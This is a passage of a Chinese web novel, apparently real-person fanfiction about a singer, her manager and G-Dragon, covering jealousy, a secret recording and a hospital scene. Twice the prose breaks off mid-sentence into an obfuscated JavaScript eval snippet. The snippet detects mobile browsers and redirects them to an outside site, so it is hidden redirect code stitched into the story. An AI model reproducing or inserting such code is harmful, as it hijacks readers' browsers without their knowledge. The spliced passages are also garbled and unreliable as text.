如今金优一来,这本是几年后才出现的营销手段就跟着上了新闻,江留月几乎立刻就猜到了操盘手是谁。 ……愚蠢。 如今,三大几乎齐头并进,尽管看似老板们能坐在一起其乐融融的录制选秀,但实际上的氛围微妙,再加上比起S公司,YG的粉丝凝聚力、团魂、撕X战斗力都要弱一些也不是什么新鲜事,江留月可一点都不想在刚冒出头的时候就被集火。 江留月因为自己音源成绩好以及舆论扭转带来的喜悦一扫而空。 “……怎么了?这样做不是很有效吗?” 金优的表情却出现了一丝裂痕。 他看起来甚至觉得自己无辜。 ……愚蠢,又不自知。 江留月厌烦的看向金优,她简直要觉得眼前的这个金优是个冒牌货了,曾经的金优是多么的能干,无论自己交代什么,他都能很 好的完成,从来不做什么多余的事情…… 吗? 江留月顿了一下,脑子里滑过奇怪的画面,眼前的一切似乎似曾相识,自己也曾这样忍着怒气处理金优带来的麻烦,因为他的愚 蠢而不得不收拾一堆烂摊子。 ……奇怪,金优做过什么愚蠢的事情吗? 好像没有。 但这种,因为面对对方的愚蠢而愤怒的心情,为什么会觉得如此熟悉? 江留月百思不得其解,最终选择放弃去追究这似是而非的心情,转头看向金优,她轻轻地呼出了一口气,耐着性子跟金优解释: “此时一时彼一时,现在的情况怎么能和当初一样?你难道不知道这样做会把我架在所有出现在这个榜单里的团队和个人的粉丝 对立面吗?” 一旦真的建立了,那麻烦就大了。 人数众多的粉丝们会在大粉的带领下做出很多事情。 比如说,毁掉她现在风头正劲的音源成绩,哪怕榜单第二名、第三名没有关系,也看不惯她挂在第一名的去帮忙突袭。 又或者,去她的代言下差评、留言,轰炸商务简直是每个艺人的噩梦,她要耗费不知道多少金钱人力维护的关系和舆论,在基数 庞大的粉丝面前,却只是敲敲键盘就能做到的事情。 江留月和当时已经坐稳第一把交易的江明月不一样,内娱和韩娱也不一样,唯一相同的,是大众对艺人,尤其是对女艺人一如既 往的苛刻要求。 如今YG的名声正是巅峰期,她自己都要靠和东永裴的合作舞台来翻身,难不成YG还要出来扛骂名? 她三言两语将眼下状况说了一通,金优也知道自己因为着急做下了蠢事,但他难以承认自己的错误,只是僵硬的站在那。 “你的脑子,在用之前能不能转一下?” 江留月见金优连解释的话和应急方案都做不出来,本想忍耐的心情一扫而空,近乎刻薄的话语脱口而出: “连这样的事情都做不好的话,为什么要挤破头非要来当经纪人?” 真不明白。 既然已经在家族里翻身,那继续当个富二代不好吗? 为什么非要跑到自己这个并无什么感情联系的前女友身边? 既然来了的话,至少要做点有用的东西吧。 金优沉默不语。 江留月也习惯了他没有情感回馈这件事情。 “算了。” 江留月揉了揉太阳穴:“现在开始赶紧把类似的新闻都撤掉,安静一点,不要被人发现你是YG的,尤其是我的经纪人,我会发新的动态把这个新闻盖掉的。” 她摆了摆手,拿起手机开始手速很快的发短信,金优不知道对面是谁,但很快,江留月的表情从凝重变得轻松了许多。 然后她又接了个电话,从对话中,金优得知对方是个女性,大约是什么地位很高的杂志记者,答应江留月帮她写一篇关于音乐的 新闻。 江留月又开始调取自己图库里的照片发动态,从预热新专辑到暗示新专辑的制作人是权志龙,不过三五分钟,动态就大热,连带 着词条跟着迅速攀升热搜。 整个过程,不过十几分钟,江留月的表情从打完电话后就是轻松的,发动态的时候甚至带上了点笑容。 直到这一切完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14970930|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成之后,江留月才仿佛又看到了金优一样。 她甚至没有说话,只是用有些疑惑的表情看着他。 金优抿了抿嘴唇,鞠了一躬,步履有些沉重的离开了这个房间。 事情的发展从他进入YG公司之后,就已经脱离了轨道。 本以为江留月会惊慌失措,也本以为她会像是原来那样将自己视为左膀右臂,又或者为了掩饰和自己的关系而过来谈条件,再不 然,权志龙会处处针对他,搅动许多波澜。 事实上,并没有。 江留月和权志龙都很忙,他们身边也总是围绕着人,江留月将许多工作交托给他,两个人的对话也是工作为主,一旦自己想要跳 到私人关系话题,江留月就用一种疑惑的表情看着自己,就像是在质疑“你为什么那么不专业”一样,让金优无话可说。 金优也曾经忍不住问她:“为什么不和权志龙分手。” 江留月用古怪的眼神看着他,表情看起来有些不耐烦:“你现在只是个经纪人,不觉得管得有点宽吗?” “我是为了你的事业好……” 江留月打断了金优的话,她认真的说:“那我也说过了,权志龙现在是我的新专辑制作人,和他保持良好的关系,才能让我的专 辑顺利诞生,你连这种关系都想不通吗?” “或者,你能提供,比权志龙更好,更厉害的制作人给我吗?” 金优不能。 所以他只好继续忍耐,开始从别的工作上想要让江留月意识到他的重要性。 但,此时交到他手里的工作繁杂又不重要。 权志龙将自己的大经纪人拨了一个过来,接下了大部分的商务和对外工作,对方不仅资格和辈分很高,而且是自从bigbang出道 起就一起共事的工作人员,对一整套流程熟悉无比,接过来立刻就上手了。 金优因此被排挤,他尝试着向江留月反馈,江留月给的回答是‘那你就回去当富二代不好吗?为什么非要到我身边来?’ 因为我爱你啊。 金优胸口的情绪反复的沸腾翻滚,但看着江留月那张欺霜赛雪的小脸,她那纯净得近乎无机质的眸子,一个字也说不出来。 这个理由,一旦说出来。 不但不会得到江留月的动容。 反而会彻底成为必须被处理的‘麻烦’。 对于江留月来说,他能说得出口的,理所当然留下来理由,只有一个。 那就是,他打败这个大经纪人,将对方驱逐出去,展现自己的能力,然后方能守住自己的位置。 这就是江留月身边的隐形法则。 每一个走到江留月身边的工作人员,能被她看见,叫出名字的人,化妆师、服装师、经纪人、制作人……甚至是助理、司机…… 每一个想要留在她身边的人,都历经了战争。 她对战争的残酷一无所知,或,满不在乎。 因为她面对的,都是战争中的获胜者。 “……我会赢。” 金优急促的喘息着,手指甲深深陷入自己的手心中。 “我一定会赢。” 他神经质的重复着。 权志龙都曾经是他的手下败将。 别人更是纸糊的,根本不可能赢过他。 但,现在怎么办……? 金优并不是真的愚蠢,他只是确实无计可施。 他之前跟YG刚,跟权志龙刚,都是建立在,江留月本身已经要脱离的时候。 那个时候,江留月和他并肩作战。 但现在,他只能陷在YG里面,独自去对抗这一切。 他曾经嘲笑YG是个纸糊的架子,嘲笑权志龙是个软弱的男人。 但如今,YG如日中天,在韩娱被称为三大巨大之一,而权志龙就是这个庞大公司的灵魂人物,整个权利架构中真正的皇太子。 他以为权志龙会和自己争执甚至打起来,他们会有明面上的冲突。 但实际上,权志龙轻飘飘的一句话就调来了一个大经纪人,光是对方就压得他喘不上气来。 金优厌恶权志龙看自己的眼神。 冷漠、傲慢、居高临下。 “……那你去死好了。” 金优知道自己的节奏乱了。 但他的手里已经没有更好的王牌了。 只有一个杀器。 他本不想这样就草率的使用,但事情确实太不受他的控制了。 他厌恶这种被人摆布的局面。 如果场面不混乱,江留月还不肯站在他这边,他真的有些恐惧自己会被扫地出门了。 江留月身边的大经纪人是个超级肥缺,尤其是在她最近翻红的时候,尽管自己是杨贤硕点的人,但,却因此并没有跟YG签什么正 式合同,万一谁挑动了这个位置,金优很担心仅凭利诱会让杨贤硕将这个位置继续给他。 ……甚至,当他利诱,杨贤硕那个脑子会反应过来,他处心积虑是要来到江留月身边。 那就糟了。 金优神经质的咬着自己的下嘴唇,用自己的手机发送出一条短信。 “现在公司已经确定让我担任Alice的大经纪人了,你什么时候来跟我做交接,让这件事情定下来呢?” 短信发送对象:南思风。 很快,金优就收到了对方的回信。 先是充满了脏话和辱骂,然后是南思风的战书。 “……你绝对当不上Alice的经纪人,等着吧,杂种,明天开始我就会回复职位,而你只能被扫地出门。” 金优勾起了嘴角,露出了一个笑容。 他的嘴还在流血,因此这个笑容,变得十分狰狞。 是了,赶紧将你手里的利剑祭出来,斩杀掉无关人等。 让这战争的火焰立刻烧起来,任谁也无法控制。 明月。 直到那个时刻,你才会明白。 这个世界对我们充满恶意。 只有我才能和你并肩作战。 38.Ego 38.Ego 爱……到底是什么? 人到底能为了爱做到什么程度? 作为一名已经超越爱豆范畴,作为一代文化潮流的领军代表人物,也被称为艺术家的创作者,权志龙至今给‘爱’与‘爱的行为’下过无数次定义。 但随着年龄和阅历的增长,人的想法是一直都会改变的。 年少的时候,意气风发,总觉得自己要将最好的东西都献给自己所爱的人,金钱、珠宝、衣服、豪车……他就像是一头将公主藏 在高塔的恶龙,一股脑的把这些冷冰冰的金灿灿的宝物倾泻下来。 后来多少有了些经验和阅历,他知道了珠宝冰冷又硌人,太华丽的衣服对身材有着严苛的要求,穿上去会透不过气,好的餐厅规 矩很多又安静的渗人,连放声大笑都不被允许,于是又改变了自己爱的方式。 他开始给爱人柔软的床铺,细心的呵护,为她系好鞋子的鞋带,摆好吃饭的勺子,总是用看待小孩子的眼神看着对方,只觉得她 哪里都可爱,忍不住亲吻和抚摸的冲动。 可惜他选中的那位公主似乎天生脾气就不太好,装乖也装不像,总是偷偷的踩掉鞋子的后跟,吃饭的时候悄悄将不爱吃的蔬菜藏 在碟子下面,睡觉的时候偷偷在被子里看手机熬夜,看着很感动的收下礼物其实发一千字向朋友吐槽他又当了冤大头。 她对那些艺术品并不感冒,甚至觉得他喜欢的一些IP很吓人,在他出远门的时候,她会用丝巾将自己害怕的那些艺术品都盖住, 有一次他还发现一个昂贵的艺术品的血盆大口里塞满了毛茸茸的毛线球。 虽然觉得‘既然害怕应该跟我讲才对’这样的交流方式会比较好,但权志龙又觉得她要命的可爱。 因为太可爱了,所以有一些坏习惯也不要紧。 和很多人想象的不同,权志龙在和江留月的这段关系中,并不是“爱上了之后保持了很长时间”,而是在“很多瞬间里重新爱上 了对方”。 他们当然也会争吵,因为鸡毛蒜皮的事情斗嘴,互相看不顺眼对方的一些行为,江留月会讨厌他的霸道、专权,权志龙会生气她 有时候‘不分黑白’,对人际关系上的距离感把握得不够得当,总之,就像是所有的小情侣那样,他们之间会出现问题,但并不 是所有的小情侣都像他们一样,因为交际圈、工作圈、生活圈的高密度重合,过着近乎“透明”的人生。 简而言之,他们俩的关系好不好、最近生活顺不顺利,不管是工作人员还是家人,都是抱着装瞎的心情,表面听任他们‘兄妹情 深’,实则一目了然,心知肚明。 两位都认为自己掩饰得很好,但大家对此的态度就是:“演的太烂了,不如不演。” 也许大众和粉丝还会被一些绯闻报道或者有的没的迷惑,但稍微熟悉他们的人都知道,江留月就是权志龙的软肋和要害,也是他 的逆鳞。 所以,手里握着江留月的把柄,南思风也没想过要去找江留月。 说实话,虽然江留月是个看起来没什么脾气的人,可南思风就是莫名其妙的有些怕她。 他总觉得这个女的一定有着十分厉害的手段,才能迷得权志龙找不到北,如果将这个把柄给了她,也许她还会来迷惑自己。 南思风想了一下江留月那张漂亮的小脸蛋,问了一下自己,发现自己根本扛不住这种迷惑,果断歇了找江留月的心思。 他对于自己停职的事情十分不甘心,在他看来,自己从来没有犯过原则性的错误,更是揭穿了李顺英被权志龙买断当双面间谍的 事情,应该就在开除李顺英之后将自己官复原职才对。 没料到第二天就走马上任了新经纪人,对方竟然还是自己在厕所偷听到的江留月的奸夫! 南思风焦虑了很久,他想过把这个东西交给杨贤硕,但依照杨贤硕的性格,八成会为他们遮掩下来,然后随意打发自己一个看起 来很好,实则鸡肋的职位并远远地发配到日本去。 他也想过把这个东西卖给记者,但这意味着和YG彻底站在对立面,他的人脉关系大多在此,完全是断自己的后路。 如果没有金优的挑衅,南思风可能还会瞻前顾后一番,但眼看江留月的讨论度越来越高,一些不知道他已经被解除职位的人上来 溜须拍马的希望能从他这里讨到一些好处,南思风的心如同被放在油锅里煎一般,痛苦到辗转反侧的程度。 一边是本唾手可得,现在却遥不可及的权力和财富,一边是突然空降的奸夫抢走了他的位置还要来冷嘲热讽,南思风耗干了自己 所有的脑细胞,总算是盘出了一条自认为最合适的出路。 尽管暂时只有闲职,但南思风依然在YG大楼里来去自如,因此很容易就找到了权志龙专属的录音室。 他来的时候很对,因为《True Love》的爆火,权志龙正在加班加点的为江留月制作新专辑的demo,作为一名成熟的制作人,他察觉到了江留月发音方式和音色的变化,所以立刻就根据这些重新对歌曲进行微调。 比起创作一首新曲子,微调要麻烦得多,好在家族con期间没有太多其他通告,权志龙已经在录音室里熬了两天了,今天正好是 收尾的时间。 鉴于权志龙工作时期的恐怖完美主义,当录音室的工作灯亮起来的时候,周围可谓是生人勿进,寸草不生。 南思风推门而入的时候,权志龙正在用手机给江留月发短信让她在食堂的包间等他一起吃宵夜,他将U盘挂在手指上,打算待会 儿给她一个惊喜。 抬头的时候,看到南思风,权志龙还愣了一下。 “……你……” 权志龙顿了一下,换了个平和点的语气:“有什么事情吗?” 他此刻着实心情不错,因此看到南思风也多了几分耐心,虽然他的心里头已经大概知道对方为什么会找来。 说实话,权志龙还真在心里头考虑了几秒,但很快就PASS了,对方怎么也是江留月亲口说不喜欢的人,何必再让他回去给江留月 添堵。 而且,自权志龙将手底下的人拨了一个过去之后,那个碍眼的经纪人就整天手忙脚乱,看起来自顾不暇,这种跳梁小丑权志龙打 算家族con之后在挪出手来收拾,反正江留eback之前,他不会允许这种可疑的家伙再出现在江留月身边。 可能因为已经预演了要拒绝对方,所以权志龙面对南思风的时候,情绪不自觉带上点因为歉意的温和。 “GDxi……我有话要对您说。” 南思风向来干的是媚上欺下,对于这种大人物的微表情十分敏感,几乎是刹那就察觉到权志龙的潜台词,因此他想也不想的就丢 出了自己的王炸。 他双手送上了一支录音笔。 “听了这个之后,您一定会想要和我谈谈的。” 录音笔这个东西,但凡出现,都不会是什么好事儿。 权志龙盯着南思风手里银灰色的小机器,脸上礼貌性的笑容也完全消失,他手边的手机又嗡嗡了两声。 权志龙瞥了一眼,是江留月回了他的信息,并说为他点了餐,让他早点下去。 他心里不知道为什么,涌出奇怪的预感。 他还坐在转椅上没有动,南思风于是又上前一步,捧在手心里的录音笔变得很近。 权志龙抬起了自己手,修长的指节轻轻一勾,就将录音笔攥在了手心。 他将录音笔在手里反复的摩挲,摇晃,没有去碰的意思,只是沉默的看着南思风。 南思风不知道为什么就是压不住心头的恐惧,他太畏惧权志龙了,这种畏惧来自于他清晰的知道,对方真的只要一句话就能结束 自己在这个圈子里的命运。 权志龙拿捏着他的生死。 在一个瞬间,他有些后悔,害怕自己会被灭口的荒谬想法短暂占领大脑,但南思风也很清楚,开弓没有回头箭。 “您按一下最上面的按钮就能听了。” 他竭力让自己看起来不要那么慌乱,尽量镇定。 权志龙攥着那支录音笔,不再摆弄他,大拇指按在顶端的按钮上。 南思风能找到他然后交出来的东西会是什么……? 总不是江留月和他的交谈,毕竟是社内公开,南思风应该很清楚这种东西对他来说毫无威慑力。 那还能是什么? 权志龙的犹豫和沉默对于南思风来说无异于折磨。 他终于没能忍住的加码了:“……是Alice和她那个新来的经纪人,是他们两个的事情,我觉得,必须得让GDxi你知道才行。” 权志龙愣了一下。 在他的身体没有反应过来之前,他的大拇指就按了下去。 滋啦滋啦的声音之后,刚开始并不太清晰的交谈,然后,交谈中的男人的声音大了一些,权志龙听出来了,是那个碍眼的新经纪 人。 下一秒,女人的声音也变得清晰起来。 …… “我们已经分手了,你应该没忘记吧,这样继续纠纠缠缠的,不好吧。” “你和权志龙也早就该结束了。” “会分的,会分的。” “什么时候呢?” “等权志龙没用的时候,我自然就分了。” “他现在好歹也是顶流制作人,手里的资源多得很,我好歹也要把他能利用的给利用了,能榨干的榨干了再分手吧。” “这些就算了不起的G-Dragon给我的分手费呗。” …… 录音笔里的音频是南思风单独导入的,里面只有这一个文件。 因此播放结束之后,因为机器没有得到下一步指令,所以又开始循环播放。 一遍。 两遍。 三遍。 权志龙始终没有说话,他就静静地听着,表情也没什么变化,如果不是他垂在一侧的手在微微颤抖,他看上去,十分平静。 先扛不住的人是南思风,他实在受不了这恐怖的近乎凝固的氛围,艰难地咽了一口口水之后,哆哆嗦嗦的开口了: “GD xi,我真的是很偶然听到两个人的对话,觉得这必须要告诉你才行……这两个人怎么能这样做呢,真是没有良心,真是狠 毒,想到您就这样被蒙蔽,我真的觉得很痛心……” 他的话越说越顺畅,自己也觉得十分真诚。 在他开口不久,权志龙摁掉了录音笔,他抬起头,声音冷静的可怕:“什么时候录到的?” “啊?嗯,诶,就,就是……就是那天,李顺英被抓到那天……开会那天的事情,Alice在花园里和这个男人见面不久,您就去 见社长那天。” 权志龙低下头,细密的睫毛在脸上投下阴影。 他又开始不说话,只是用大拇指反复的摩挲着录音笔。 “……GD xi,您可不能这样轻松的放过他们啊,谁知道他们在计划什么呢?” 权志龙这样的反应,大大出乎了南思风的意料,最后一张王牌打出去却毫无反响,他有些着急了。 “那你的计划是什么呢?” 权志龙淡淡的问道。 “……啊?” 南思风冷汗直流,被对方突然的打断弄得猝不及防。 “你把这个东西给我,想得到什么呢?” 南思风想要说点场面话,但当对上权志龙那分明是淡色,却在录音室的灯光下显得幽深的双眸时,忍不住打了个寒噤。 “……不做经纪人的话,我完全没有谋生的手段……或许……您、您需要我吗?我会比李顺英做得更好,我会比他更忠心耿耿, 而且经过这件事情,Alice一定不会怀疑我的……不管她做了什么,见了什么人,我都会一五一十的向您汇报……像是今天这样 的事情,绝对不可能再发生!” 他因为情绪激动而说话都有些磕巴,但权志龙并不生气,而是露出了一点笑容。 这点笑容,却像是要杀人的恶鬼一般渗人。 权志龙上下打量了他一番,在南思风紧张的要窒息的时候,忽然轻笑了一声,然后慢条斯理的开口道:“是吗,那你愿意表达一 下你的忠心吗?” 权志龙展示了一下手里的那支录音笔:“偶尔听到的话,你也没有随身带录音笔的习惯,所以,这是你准备好的样本……那么, 母带又在哪里?” 南思风走出录音室的时候,脚步都是飘的。 他也不知道为什么,就仅凭三言两语,就把自己的手机都直接交给了权志龙。 对方没有生气,也没有发火,和想象中完全不一样的反应,冷静到渗人的程度。 南思风本想凭借录音的母带来拿捏对方,却几乎是毫无反抗的选择了投诚,将自己所有的底牌都交出去,以期待获得对方的信 任。 权志龙收下了南思风的手机,确认了只有录音笔和手机这两份音频之后,又现场打了个电话,让南思风去找大经纪人领取一点 “报酬”,并告诉他几天之后会找时间跟他谈一谈,给出让他满意的结果。 从头到尾,权志龙都表现得理智而从容,甚至让南思风觉得,权志龙早就知道这一切的感觉。 ……如果早就知道的话…… 南思风忽然打了个寒噤。 他抬起头看向YG走廊上密密麻麻的摄像头。 那简直像是毒蛇无数双眼睛紧紧地盯着他。 南思风呼吸都停顿,脚步凌乱的冲向了楼梯,他甚至等不及电梯,他只觉得如果再不赶紧逃跑,自己就会窒息在这里。 YG畏惧权志龙的可不光是练习生。 从工作人员到管理层,没有人不畏惧权志龙。 哪怕他只要不在工作中,实际上是个性格很温和也很好说话的人,但,大家对待权志龙的时候,都是情不自禁的带着小心翼翼。 这是因为,YG的利益血脉自权志龙身上开始输送给每个人,赖以生存的公司和根本,立足的威望与地位,是权志龙带领bigbang 亲手搭建的,自然也能被他瞬间抽掉。 权志龙都好久没有这种被彻底冒犯的感觉了。 他并不在乎被冒犯,缺德的记者,无孔不入的私生,狂妄的后辈,这些人的冒犯就像是丧家犬的嚎叫,除了吵闹和厌烦,并不能让他产生更多的情绪了。 他甚至觉得自己好久没有生气了。 可能是最近太幸福了吧。 所以,当那种情绪密密麻麻的爬上心脏,攥住喉咙的时候,他才在近乎窒息的疼痛感中意识到,那是沉默的愤怒在吞噬他。 权志龙将南思风的手机放到自己的外套内侧的暗袋里面,然后又拿出录音笔,将它进行格式化。 好几次,他都按不住那个按钮,他才发现,自己的手在发抖。 不,是他整个人都在发抖。 权志龙不知道是想维持住自己的平衡还是想要发泄一些快要将自己撕烂,从心脏深处喷涌的情绪,用力的一拳砸在了旁边的墙壁 上。 先是沉重的闷响,然后是烧灼一样的滚烫,奇怪的是,没有痛感。 他急促的呼吸,却怎么都吸不到氧气,头越发昏沉,手却颤抖着抓住那支录音笔,狠狠的按下去,直到录音笔变成一片空白。 然后,他抓起录音笔,狠狠地摔在地上,又抓起不知道什么东西,重重砸在录音笔上。 脆弱的塑料制品四分五裂,里面金属芯片弹出来崩得到处都是,可这些都不足够,权志龙又摇摇晃晃站起来,用脚狠狠地碾着地 上的残片。 他的手机发出嗡鸣。 权志龙又像是忽然断线重连一般,晃悠悠的走过去拿起手机。 他的手受伤了,黏糊糊的血抹花了屏幕,但他看得很清楚,是江留月发来消息,说饭菜都要冷了,问他到底什么时候下去。 她发来饭菜的照片和一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976331|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己歪着脑袋趴在桌子上噘嘴的自拍。 权志龙很莫名的笑了一声。 他也不知道自己为什么要笑,但他就是忍不住想笑。 尖锐的笑声从他口中发出,像是带走了最后的氧气,他一边笑一边咳嗽,用手捂住自己的嘴掩饰声音的时候又感到黏腻和冰冷。 他这才发现自己受伤了,这是黏腻的血,他的手指上还套着一个金属圈,那是一个U盘,因为他刚才一系列的操作,这个金属圈 都变形了,将他的手指紧紧地扭曲的束缚住。 像是一枚戒指。 那是他满心欢喜,即将送出去的礼物。 本来也是要玩一点低劣的把戏,假装给她戴上戒指,实则为她送上的,是他为她精心调整,除了她,谁也唱不出那种感觉的歌 曲。 江留月总是很喜欢这种把戏。 不管是易拉罐的铁环,还是塑料做的大宝石,廉价的塑料头纱,用餐巾纸卷出来的玫瑰花。 真是的。 塔伊。 我的宝贝。 如果早知道你喜欢的,是钻石,是金子,是资源,是华丽的衣服。 如果你爱的是这样的东西的话。 要坦诚的跟我说啊。 ——那种东西,哥多的是。 何必需要这廉价可笑的把戏呢? 权志龙忽然萌生出奇怪的感觉,他看这金属圈十分不顺眼,简直像是烙铁一样烦人。于是去权志龙用力的伸手掰开这个金属圈, 将U盘取了下来。 这个,就足够了。 是吧。 塔伊? 权志龙的手太抖了,U盘从手里掉落在了地上,他想要蹲下去捡起来,却膝盖发软,眼前发黑,整个人都失去了平衡,直接摔倒了。 权志龙干脆直接仰躺在了地毯上,他因为呼吸困难而眼前一阵阵发黑,脑子混沌又清醒,喉咙发出像是笑一样的声音。 他还是捡到了那枚小小的U盘,金属材质,本该不好拿住,最后被血黏在了他的手心。 权志龙缓慢的喘息着,如同被扎漏气的气球。 他应该要歇斯底里的吼叫,却发现自己连声音都很难发出来。 太多情绪堆积在喉咙,反而在这里撞在一起,很难说清楚哪些是哽咽的委屈,哪些是愤怒的质问,哪些是颤抖的乞求,又有哪些 是混着血和碎片的真心。 他一共听了这些对话四遍。 第一遍,他觉得荒谬,第二遍,他觉得愕然,第三遍,他再度觉得荒谬。 这万一是假的呢,万一是合成的呢,现在科技那么发达,谁能说得准呢。 一定是假的。 必须是假的。 为什么不能是假的。 这怎么可能不是假的。 ……为什么非要是真的。 如果这些是真的,那正在短信里对他撒娇的人是什么,那早上还在和他接吻的人算什么,她黏糊糊的声音,带着凉意的柔软嘴 唇,身上散发的香气,瞳孔里映射出的沉迷于她的可悲的男人又是什么? 权志龙的眼前越来越模糊,他似乎听到什么声音,急促的脚步,然后是熟悉的香气,熟悉的手,熟悉的脸庞。 “……哥……志龙哥!!!” 眼前抱着他,恐慌的叫着他的名字,眼睛里因此流出眼泪,眼睛里只装得下他的这个人,又是什么? 江留月的手攥着权志龙的手。 宽大、修长的手上染满了斑驳的血迹,江留月意识到出了什么事儿,她立刻起身打算叫人过来将权志龙立刻送到医院去。 但那修长的手指,却如同没有生命的藤蔓一样,骤然抓紧了她。 权志龙伸出手,摸了摸她的脸颊。 那上面是凉凉的眼泪。 这眼泪会是真的吗? “志龙哥!” 江留月急忙凑了上来,试图让他清醒一些:“你知道我是谁吗?” 她太着急了,眼里的泪水都啪嗒啪嗒的掉在权志龙的脸上。 握着权志龙手的小手也在微微颤抖。 那双美丽的,纯净的眸子里,权志龙看到自己的倒影。 他将手伸向江留月的脸颊,轻轻地为她擦去了眼泪。 血痕在那张漂亮的脸蛋上留下斑驳的印记。 江留月因为他的动作而委屈的掉泪,将脸放在他的手掌上呜咽,为权志龙还比较清醒的神智感到庆幸。 “塔伊……” 权志龙呼出一声轻飘飘的气。 他强忍着晕眩感,用平静、温柔的语气呼唤着她的名字。 “别哭了,宝贝……我没事。” 他的大拇指轻轻地摩挲着江留月的脸颊。 就像是摩挲着录音笔的按钮一样。 反反复复。 他关于情绪的最后一块碎片被补齐。 在听到录音的时候,反反复复在胸口乱窜的情绪。 除了愤怒、耻辱,感觉到被冒犯,被践踏之外,更为汹涌,狠毒的情绪。 江留月打完了求助的电话,将权志龙抱起来靠在她的身上,她身上热乎乎的,因为急促的呼吸而微微颤抖。 “塔伊。” 她听见权志龙沙哑的声音,急忙侧过头看他有什么不舒服。 权志龙靠在她的肩膀,向她摊开自己的手。 手心里是一枚小小的U盘。 “看,是礼物哦。” 江留月愣了一下,顿时眼圈就通红:“都什么时候了,这种事情根本不重要!” 别告诉她,权志龙是因为为了给她搞这个所以受伤的! “怎么会不重要呢。” 权志龙一条手臂揽住了她,整个人微微弓腰,将她整个拢在怀里。 他黏黏糊糊的,在她耳边,轻声说道: “你最重要了。” 江留月简直不敢相信这家伙疯到人要晕过去还要跟她调情,气得简直要掐死权志龙,却又害怕不小心弄伤了对方,只能气呼呼的 别开脸,狠狠擦了一下眼睛。 权志龙看到她抿着嘴,偷偷地又掉了眼泪。 透明的圆滚滚的泪珠,啪嗒啪嗒往下掉。 他难以呼吸的胸口,忽然舒服了许多,但是晕眩感却更为强烈。 权志龙觉得很冷。 他下意识的蜷缩着将怀里的人抱紧,意识却一直在被什么东西往外拖拽。 他陷入昏沉之中,手却紧紧攥着江留月的一只手。 他似乎听到江留月紧张到哽咽的呼唤,想也知道,这孩子一定又忍不住在抹眼泪。 抱歉,塔伊。 吓坏了吧。 虽然不知道发生了什么,但该说对不起的人是哥。 没能看好你,让你碰到了不好的人。 这些天,这个家伙在你身边晃荡,一定让你很不安,我为什么会没有发现呢? 对了。 还有很重要的事情要向你道歉。 …… “等权志龙没用的时候,我自然就分了。” “他现在好歹也是顶流制作人,手里的资源多得很,我好歹也要把他能利用的给利用了,能榨干的榨干了再分手吧。” …… 不会有这种事情,塔伊。 我不会变成没用的男人。 想要珠宝、金钱、地位,还是资源? 早知道你喜欢这些,就应该都捧到你面前来,还是因为小把戏玩的太多了,让你真的以为,我只是个社区里普通的哥哥,路边随便就能认识的男人? 我可不是那种廉价的、无能的,随便就会被榨取干净价值的男人。 你喜欢的如果是这些,那就很简单了。 新专辑只是个小礼物,演唱会、时尚秀、电影、电视剧……你还想要什么呢? 塔伊? 真是的。 如果是这方面,那我可是很有自信,不会输给任何人的哦,塔伊。 还以为你喜欢的是亲切的哥哥呢。 差点就让你跑掉了。 39.let’s not fall in love 39.let’s not fall in love 【现在的我们是如此幸福,请不要试图去拥有我】 权志龙是在泪水中醒来的。 他睁开眼睛,模糊的视线中是医院特有吸顶灯发出光亮,墙壁上的电视机正在无声播放。 他捋了一把脸,感到手背一阵拉扯,才发现自己扯到了输液针。 如今他已经能够非常熟练的处理针头了,将针头和留置针分离,再用宽松的毛线衫盖住留置针,权志龙坐在床边,反复吐息抽气来平复自己的情绪和身体上的不适。 时钟指向凌晨四点,他下床步行到客厅,沙发上的助理已经睡熟了,权志龙没有打扰他,而自己走到墙边的推拉门直接拉开。 这是一间远要比他所在的病房大得多的房间,里面的仪器也多得多,此时上面正布满各种跳动的数字,压缩机发出嗡嗡的细微声 音。 权志龙走到了病床边,他伸出手,摸了摸床上人的头发。 在恒温恒湿的病房里,触手的温度远低于体温,但那头发依然富有光泽而柔软。 权志龙在床边坐下,他发红的眼眶很涩很痛,只好自己用指腹揉一揉。 他的眼前,江留月的样子逐渐清晰起来。 不是出现在八年来他的各种混沌的思念或者梦中,而是真实的江留月。 她静静的沉睡着。 比以往任何一次,睡在他身边的时候,都要安静。 一个月前,江留月返韩参加亲友婚礼,在回程中因为暴雪,车辆失去控制撞上路边围栏,空气气囊爆开,车辆车窗被打碎,在无 法移动的情况下,江留月只能电话报警求助。 当因为暴雪而延迟的救援队赶到的时候,江留月已经因为低温和受伤失去意识,随即被送往首尔大学附属医院救助治疗。 在历经48小时抢救后,江留月生命体征趋于稳定,但不知道为何,她一直处于无意识状态,始终无法苏醒。 权志龙冒着暴雪从木浦赶到首尔的时候,江留月已经被推出手术室,不知道因为是冷还是别的,他更换无菌服的时候手一个劲儿在抖。 那个时候,他还不熟悉这些仪器和数字,看哪个都觉得恐怖可怕,走到江留月跟前的时候,更是觉得眼前一黑。 他精心养育的,耗尽心血捧在手心的,这世界上唯独就有那么一个的塔伊,满身都是伤痕的躺在那。 权志龙走过去,手竟然不知道往哪里放,好一会儿,才抓住了江留月的手指。 “……塔伊。” 权志龙缓慢的吸气吐气,尽量维持住说话时的情绪稳定,好不吓到他的小姑娘。 骂了一百万次,不要自己开车,如果有恶劣天气,就哪里都不要去,好好待在家里。 为什么总是那么胆子大的去闯祸,为什么总是不听话的乱跑,为什么总是要冒险呢。 